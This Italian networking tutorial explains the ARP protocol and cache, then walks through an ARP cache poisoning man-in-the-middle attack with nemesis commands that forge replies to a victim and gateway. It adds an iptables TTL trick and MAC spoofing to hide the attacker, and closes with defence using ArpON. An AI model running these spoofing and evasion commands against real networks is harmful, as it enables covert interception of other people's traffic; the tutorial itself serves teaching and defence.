Introduzione
Il protocollo ARP (Address Resolution Protocol) è un protocollo di rete fondamentale e molto semplice che ha il compito di associare ad un indirizzo IP un indirizzo MAC di un computer remoto.
Lavora subito sotto il network layer come parte dell’interfaccia tra l’OSI network layer e l’OSI link layer.
Questo protocollo è alla base delle comunicazioni tra PC: ogni computer che voglia comunicare per la prima volta con un altro computer remoto si affida ad ARP poichè, senza associazione IP-MAC, non si saprebbe con precisione a quale PC recapitare il pacchetto.
Questo tipo di associazione, però, riguarda solo computer che fanno parte dello stesso segmento di rete: infatti, per connessioni con PC su altre reti e sottoreti entra in gioco il router, mentre nel nostro caso (in un ambiente switched, quindi) il router/switch ha solo il compito di inoltrare i pacchetti.
Funzionamento dell’Address Resolution Protocol
Come detto, il protocollo ARP lavora al livello di Rete e funziona in questo modo:
Alice ha IP 111.111.111.111 e MAC AA:AA:AA:AA:AA:AA e deve sapere il MAC address dell’IP 111.111.111.112 per comunicare con lui; invia, quindi, una ARP Request al broadcast MAC (ff:ff:ff:ff:ff:ff) che suona più o meno così:
io sono 111.111.111.111 con MAC AA:AA:AA:AA:AA:AA : chi ha l’IP 111.111.111.112 ?
Bob, che ha l’IP 111.111.111.112, riceve l’ARP request e risponde con una ARP Reply che recita:
Ciao 111.111.111.111 con MAC AA:AA:AA:AA:AA:AA : io sono 111.111.111.112 ed ho MAC BB:BB:BB:BB:BB:BB
A questo punto Alice ha l’associazione IP-MAC di Bob; anche Bob esegue la stessa operazione in modo da avere l’associazione tra MAC ed IP di Alice.
Vediamo ora com’è formato un pacchetto ARP:
0 15 31 +------------------------------------------------------------------+ | HRD | PRO | +------------------------------------------------------------------+ | HLN | PLN | OP | +------------------------------------------------------------------+ | SHA | +------------------------------------------------------------------+ | SPA | +------------------------------------------------------------------+ | THA | +------------------------------------------------------------------+ | TPA | +------------------------------------------------------------------+
HRD (16bit): Tipo di hardware usato. Nel caso più comune si tratta di Ethernet e corrisponde al valore 1.
PRO (16bit): è il protocollo usato. IP ha valore 0x0800
HLN (8bit): Lunghezza in byte dell’indirizzo hardware (nel caso di Ethernet è il MAC address e vale 6).
PLN (8bit): Lunghezza in byte del protocollo usato (nel nostro caso, IPv4, è 4).
OP (16bit): Tipo di pacchetto. Nel nostro caso può essere REQUEST (1) o REPLY (2).
SHA (bytes): MAC address del mittente; ha una lunghezza che dipende da HLN.
SPA (bytes): Indirizzo IP del mittente; ha una lunghezza che dipende da PLN.
THA (bytes): MAC address del ricevente (dipende sempre da HLN).
TPA (bytes): Indirizzo IP del ricevente (dipende da PLN).
Come possiamo vedere anche nel file if_arp.h:
struct arphdr { __be16 ar_hrd; /* format of hardware address */ __be16 ar_pro; /* format of protocol address */ unsigned char ar_hln; /* length of hardware address */ unsigned char ar_pln; /* length of protocol address */ __be16 ar_op; /* ARP opcode (command) */ #if 0 /* * Ethernet looks like this : This bit is variable sized however... */ unsigned char ar_sha[ETH_ALEN]; /* sender hardware address */ unsigned char ar_sip[4]; /* sender IP address */ unsigned char ar_tha[ETH_ALEN]; /* target hardware address */ unsigned char ar_tip[4]; /* target IP address */ #endif };
Ovviamente nel caso di un ARP Request il campo THA sarà irrilevante visto che andiamo proprio a cercare quella informazione.
E’ da ricordare che l’ARP header (appena visto) è solo un segmento dell’intero paccheto inviato in rete. La trama completa è:
+-----------------+------------+---------+ | Ehternet Header | ARP Header | Data | +-----------------+------------+---------+
Dove nell’Ethernet Header sono specificati tre campi:
{| border="0" |- |ether_dhost:|| MAC address del destinatario |- |ether_shost:|| MAC address del mittente |- |ether_type:|| Tipo di pacchetto che stiamo inviando |}
E’ molto importante il campo ether_type poichè ci dice che tipo di header segue dopo. Nel nostro caso, quel campo avrà valore 0x806 (ARP)
Un piccolo dump di traffico ARP.
Alice è 192.168.1.2 con MAC 00:0b:6b:4a:f8:d5 e Bob è 192.168.1.6 con MAC address 08:00:27:01:bb:16; come possiamo vedere, entrambi si chiedono i rispettivi MAC:
Alice:~# tcpdump -i wlan0 -vv -e arp tcpdump: listening on wlan0, link-type EN10MB (Ethernet), capture size 96 bytes 04:03:44.586325 00:0b:6b:4a:f8:d5 (oui Unknown) > Broadcast, ethertype ARP (0x0806), length 42: arp who-has 192.168.1.6 tell 192.168.1.2 04:03:44.594982 08:00:27:01:bb:16 (oui Unknown) > 00:0b:6b:4a:f8:d5 (oui Unknown), ethertype ARP (0x0806), length 60: arp reply 192.168.1.6 is-at 08:00:27:01:bb:16 (oui Unknown) 04:03:49.582015 08:00:27:01:bb:16 (oui Unknown) > 00:0b:6b:4a:f8:d5 (oui Unknown), ethertype ARP (0x0806), length 60: arp who-has 192.168.1.2 tell 192.168.1.6 04:03:49.582047 00:0b:6b:4a:f8:d5 (oui Unknown) > 08:00:27:01:bb:16 (oui Unknown), ethertype ARP (0x0806), length 42: arp reply 192.168.1.2 is-at 00:0b:6b:4a:f8:d5 (oui Unknown)
ARP Cache
Una volta avvuto questo meccanismo di Request->Reply, l’associazione tra IP e MAC di un PC remoto è stata fatta. La struttura in cui è presente questa associazione è una cache, detta perciò ARP cache. L’associazione nella cache risulta essere così formata:
Alice:~# arp -an ? (192.168.1.6) at 08:00:27:01:bb:16 [ether] on wlan0
che specifica che all’IP 192.168.1.6 corrisponde il MAC address 08:00:27:01:bb:16 ed è detta entry.
Queste entry possono assumere diversi valori che rispecchiano lo stato dell’associazione; questi stati sono:
permanent: | non scade mai e non è mai verificata |
delay: | programmata una ARP Request e necessita di verifica |
probe: | si stanno inviando ARP Request |
incomplete: | inviata la prima ARP Request, in attesa di Reply |
failed: | nessna risposta ricevuta |
reachable: | scadenza normale |
noarp: | scadenza normale e mai verificata |
stale: | ancora usabile e necessita di verifica |
Nel caso l’entry abbia valore PERMANENT significa che quell’associazione non potrà essere cambiata dal meccanismo dinamico Request->Reply: bisognerà intervenire manualmente per modificarla.
Una cache che abbia tutte le entry di questo tipo si dice “statica”. Nel 99% dei casi, invece, le entry sono dinamiche ovvero si aggiornano ogni tot secondi per evitare che vi siano associazioni errate ed obsolete.
Una volta eseguita l’associazione in modo corretto, l’entry assume valore RECHEABLE che subito dopo diventa STALE: l’entry è utilizzata per comunicare con il PC specificato ma ha bisogno di essere verificata dopo un pò di tempo.
Questo pò di tempo è specificato nel file
/proc/sys/net/ipv4/neigh/default/gc_stale_time
ed assume, su Linux, valore 60: dopo 60 secondi che la entry ha assunto valore STALE, viene riverificata tramite il meccanismo di Request->Reply.
Il seguente comando mostra quanto detto:
~# ip -s neigh list<br> 192.168.1.4 dev eth0 lladdr 00:15:e9:32:fc:9c ref 3 used 1/1/1 REACHABLE 192.168.1.3 dev eth0 lladdr 00:e0:18:e5:12:24 ref 3 used 4/4/4 REACHABLE 192.168.1.1 dev eth0 lladdr 00:0d:08:00:03:02 ref 37 used 20/20/4 STALE
Una delle caratteristiche più importanti del protocollo ARP consiste nella dinamicità della sua cache. Se un PC riceve un ARP Reply con un IP già presente nella sua ARP cache, la vecchia entry verrà sovrascritta con la nuova (ammesso che la entry non sia PERMANENT).
Un’altra cosa interessante è che una ARP Reply viene accettata anche quando non è stata mandata una ARP Request nella rete poichè il protocollo ARP non mantiene traccia del suo traffico, che richiederebbe memoria e complessità per un protocollo pensato per essere semplice e veloce.
In sostanza, quindi, ARP accetta come entry qualsiasi reply che gli viene sottoposta sovrascrivendo eventuali valori pre esistenti (utile nel caso in cui una macchina abbia cambiato scheda di rete modificando di fatto l’associazione IP-MAC o nel caso di cambio IP), sempre ammesso che la relativa entry non sia stata marcata staticamente.
ARP Cache Poisoning
L’ARP cache Poisoning consiste nell’avvelenare la cache ARP con entry fasulle in modo da permettere ad un attaccante di sniffare il traffico tra due computer nella stessa rete.
Questo tipo di tecnica serve per attuare il cosiddetto Man In The Middle (MITM): un attaccate si frappone tra due comunicanti al fine di sniffarne il traffico.
Consideriamo un PC, che chiameremo A.
Questo computer ha IP 192.168.1.50 e MAC address 00:00:00:aa:aa:aa.
Consideriamo un altro PC, che chiameremo B.
Il suo IP è 192.168.1.100 e il suo MAC è 00:00:00:bb:bb:bb.
Prendiamo in considerazione anche il PC dell’attaccante (C), con IP 192.168.1.200 e MAC 00:00:00:cc:cc:cc.
Lo scopo finale dell’ARP Cache Poisoning consiste nello sniffare il traffico tra A e B e per fare ciò C “poisonerà” la cache ARP di A in modo che l’IP di B corrisponda al MAC address di C. “Poisonerà” anche la ARP Cache di B in modo che l’IP di A corrisponda al MAC di C.
Schematizzato sarebbe così:
A questo punto C non deve fare altro che forwardare il traffico ai rispettivi destinatari riuscendo però a sniffare i loro dati mentre A e B, ignari di tutto, continuano a dialogare. Come detto prima, la cache ARP si aggiorna ogni tot tempo, quindi per andare a buon fine un attacco ARP poisoning c’è la necessità di mantenere la cache ARP delle due vittime costantemente poisonate (mediamente basterà un intervallo intorno ai 5 secondi).
Ecco un esempio pratico di ARP cache poisoning: La prima coda da fare è verificare di avere nell’ARP cache gli indirizzi dei due PC vittima. Nel caso non fosse così, un semplice ping farà al caso vostro.
w00t:~# arp -an ? (192.168.1.1) at 00:0d:08:00:03:02 [ether] on eth0 ? (192.168.1.4) at 00:15:e9:32:fc:9c [ether] on eth0
Il nostro host da sniffare è 192.168.1.4, mentre 192.168.1.1 è il gateway dal quale passa il traffico internet.
Esistono tanti tool per eseguire ARP cache poisoning; in questo articolo useremo nemesis (http://nemesis.sourceforge.net), sviluppato da Jeff Nathan.
Come detto, dobbiamo forgiare due pacchetti, uno diretto ad Alice (192.168.1.4) ed un altro al gateway.
Il pacchetto di Alice avrà come TPA il suo IP, come THA il suo MAC e come SPA l’IP del gateway. Il campo SHA, invece, sarà il nostro MAC address:
w00t:~# nemesis arp -v -r -d eth0 -S 192.168.1.1 -D 192.168.1.4 -h 00:0a:e4:59:87:7e -m 00:15:e9:32:fc:9c -H 00:0a:e4:59:87:7e -M 00:15:e9:32:fc:9c
Il flag -D imposta il TPA, quello -S il SPA, il flag -h imposta l’ SHA e quello -m imposta il THA. Le opzioni -H e -M sono per il frame data link. Quindi:
TPA:192.168.1.4 (IP Alice)
THA: 00:15:e9:32:fc:9c (MAC Alice)
SPA: 192.168.1.1 (IP gateway)
SHA: 00:0a:e4:59:87:7e (nostro MAC che diventerà il MAC del gateway nella ARP cache di Alice)
Ora bisogna poisonare la cache del gateway per completare l’opera:
w00t:~# nemesis -v -r -d eth0 -S 192.168.1.4 -D 192.168.1.1 -h 00:0a:e4:59:87:7e -m 00:0d:08:00:03:02 -H 00:0a:e4:59:87:7e -M 00:0d:08:00:03:02
Mantenendo la cache poisonata ogni 5 secondi circa, si ottiene un ARP cache poisoning. Sorgono però dei problemi. Proviamo a fare un traceroute dal PC della vittima:
Alice@vict:~$ traceroute google.it traceroute to google.it (66.249.93.104), 30 hops max, 40 byte packets 1 192.168.1.2 (192.168.1.2) 0.622 ms 1.167 ms 1.443 ms 2 192.168.1.1 (192.168.1.1) 0.999 ms 1.198 ms 1.481 ms 3 (213.205.16.76) 20.453 ms 22.507 ms 22.581 ms ....
Come primo hop notiamo il nostro attaccante (192.168.1.2) che sta facendo ARP cache poisoning. Facile in questo modo scoprire un attacco del genere. Ragionando sul funzionamento del traceroute, sappiamo che sfutta un particolare campo del pacchetto IP: il TTL (Time To Live). Ogni hop che incontra, questo valore viene decrementato. Non ci resta che trovare un modo per far si che, quando un pacchetto transiti sulla macchina dell’attaccante, il suo TTL non venga diminuito. iptables è il tool giusto per noi:
w00t:~# iptables -t mangle -A PREROUTING -i eth0 -j TTL --ttl-inc 1
Questa regola utilizza la tabella mangle che ha lo scopo di modificare i pacchetti: utilizzando la chain di PREROUTING ad ogni pacchetto che arriva, questo vede incrementare il suo TTL. Se rieseguiamo un traceroute dal PC di Alice dopo aver impostato questa regola sul nostro, vedremo che tutto funziona:
Alice@vict:~$ traceroute google.it traceroute to google.it (66.249.93.104), 30 hops max, 40 byte packets 1 192.168.1.1 (192.168.1.1) 0.708 ms 0.914 ms 1.189 ms 2 (213.205.16.76) 22.422 ms 22.529 ms 22.559 ms 3 (213.205.19.33) 23.921 ms 24.266 ms 26.402 ms ....
Un altro problema sorge se andiamo ad ispezionare la cache ARP di Alice:
vict:~# arp -an ? (192.168.1.1) at 00:0a:e4:59:87:7e [ether] on eth0 ? (192.168.1.2) at 00:0a:e4:59:87:7e [ether] on eth0
Sia il gateway che il nostro PC hanno lo stesso MAC address. Possiamo trovare una soluzione anche a questo: ragionando sul protocollo ARP sappiamo che associa MAC ed IP. Poichè il nostro IP non possiamo cambiarlo (avremo sempre due MAC uguali per due IP diversi), cambiamo il nostro MAC address, sempre utilizzando nemesis:
w00t:~# nemesis arp -v -r -d eth0 -S 192.168.1.2 -D 192.168.1.4 -h 00:0e:c6:31:90:8d -m 00:15:e9:32:fc:9c -H 00:0e:c6:31:90:8d -M 00:15:e9:32:fc:9c
Da notare il parametro di -h totalmente inventato. L’ARP cache di Alice segnerà al nostro IP il nuovo MAC address ed il nostro poisoning è ora invisibile (o quasi) ad Alice.
Ho scritto uno script in bash molto utile al riguardo. Lo potete scaricare da
Come difendersi
Rilevare un ARP cache poisoning non è semplice come abbiamo potuto vedere. Esistono tuttavia una serie di tool che monitorano il traffico ARP e quello IP. Per esempio esiste ArpON (http://arpon.sourceforge.net) che grazie al suo approccio promette di sconfiggere l’ARP cache poisoning. Vediamo come. La prima cosa da fare è procurarsi il sorgente, le librerie necessarie e compilare il tutto per la propria piattaforma. Al momento, la versione 1.72 contiene diversi bug che spero verranno fixati al più presto. Dopo aver compilato possiamo utilizzare uno dei due metodi di difesa che questo demone ci mette a disposizione: il SARPI (Static ARP cache Inspection) oppure il più efficace DARPI (Dynamic ARP cache Inspection). Per informazioni sulla logica di funzionamento vi rimando alla pagina di manuale. Facciamo partire il nostro demone:
Alice:~# ./arpon -o -y ArpON "Arp handler inspectiON" version 1.72 (http://arpon.sourceforge.net) - Device: (eth0) Datalink: Ethernet MAC: 0:a:e4:59:87:7e Inet4: 192.168.1.2 Netmask: 255.255.255.0 - DARPI start at Date: 08/16/2008 Time: 22:17:33 CEST. - DARPI deletes these Arp Cache entries: 1) Inet4: 192.168.1.1 -> Mac: 0:d:8:0:3:2 2) Inet4: 192.168.1.8 -> Mac: 0:40:f4:a9:ed:6a - DARPI Realtime Protect actived! - DARPI Cache entry timeout: 500 milliseconds. - DARPI ==[ Arp Request Outbound ]========================== - Time: 22:17:34 CEST. - DARPI Realtime adds 192.168.1.1 entry in DARPI Cache! - DARPI ==[ Arp Reply Inbound ]============================= - Time: 22:17:34 CEST. - DARPI Realtime 192.168.1.1 entry found in DARPI Cache! - DARPI Realtime deletes 192.168.1.1 entry in DARPI Cache! - DARPI Realtime adds entry in Arp Cache: Inet4: 192.168.1.1 -> Mac: 0:d:8:0:3:2 - DARPI ==[ Arp Request Outbound ]========================== - Time: 22:17:35 CEST. - DARPI Realtime adds 192.168.1.8 entry in DARPI Cache! - DARPI ==[ Arp Reply Inbound ]============================= - Time: 22:17:35 CEST. - DARPI Realtime 192.168.1.8 entry found in DARPI Cache! - DARPI Realtime deletes 192.168.1.8 entry in DARPI Cache! - DARPI Realtime adds entry in Arp Cache: Inet4: 192.168.1.8 -> Mac: 0:40:f4:a9:ed:6a - DARPI ==[ Arp Request Inbound ]=========================== - Time: 22:17:35 CEST. - DARPI Realtime deletes entry in Arp Cache: Inet4: 192.168.1.1 -> Mac: 0:d:8:0:3:2 - DARPI Realtime send to: Inet4: 192.168.1.1 -> Mac: ff:ff:ff:ff:ff:ff - DARPI ==[ Arp Reply Outbound ]============================ - Time: 22:17:35 CEST. - DARPI Realtime send to: Inet4: 192.168.1.1 -> Mac: 0:40:f4:a9:ed:6a - DARPI ==[ Arp Request Outbound ]========================== - Time: 22:17:35 CEST. - DARPI Realtime adds 192.168.1.1 entry in DARPI Cache! - DARPI ==[ Arp Reply Inbound ]============================= - Time: 22:17:35 CEST. - DARPI Realtime 192.168.1.1 entry found in DARPI Cache! - DARPI Realtime deletes 192.168.1.1 entry in DARPI Cache! - DARPI Realtime adds entry in Arp Cache: Inet4: 192.168.1.1 -> Mac: 0:d:8:0:3:2 - DARPI ==[ Arp Request Inbound ]=========================== - Time: 22:17:40 CEST. - DARPI Realtime deletes entry in Arp Cache: Inet4: 192.168.1.1 -> Mac: 0:d:8:0:3:2 - DARPI Realtime send to: Inet4: 192.168.1.1 -> Mac: ff:ff:ff:ff:ff:ff - DARPI ==[ Arp Reply Outbound ]============================ - Time: 22:17:40 CEST. - DARPI Realtime send to: Inet4: 192.168.1.1 -> Mac: 0:40:f4:a9:ed:6a
Già prima di avviare ArpON la macchina era sottoposta a poisoning ARP. ArpON, cancella la cache ARP al suo avvio ritenendola già posionata. Fatto ciò, per qualsiasi richiesta che gli viene sottoposta si comporta principalmente in due modi:
- ARP Reply: nel caso ricevesse questo tipo di richiesta, ArpON controlla che il source address sia già presente nella cache, in caso negativo il pacchetto verrà scartato.
- ARP Request: il programma scarta la richiesta ed invia una request al source address verificandone la bontà. Quando riceve risposta, inserisce la query in cache marcandola statica.
Ogni tot secondi, ArpON cancellerà la cache ed aspetterà per qualche richiesta. In sostanza, non fa altro che utilizzare il metodo della ARP cache statica in maniera “dinamica”. Questo implica che Alice parlerà sicuramente con il gateway, mentre questi parlerà con Bob (l’attaccante) che forwarderà il traffico normalmente.
Questo è un ottimo metodo, che conferisce un ragguardevole livello di sicurezza contro l’ARP cache poisoning.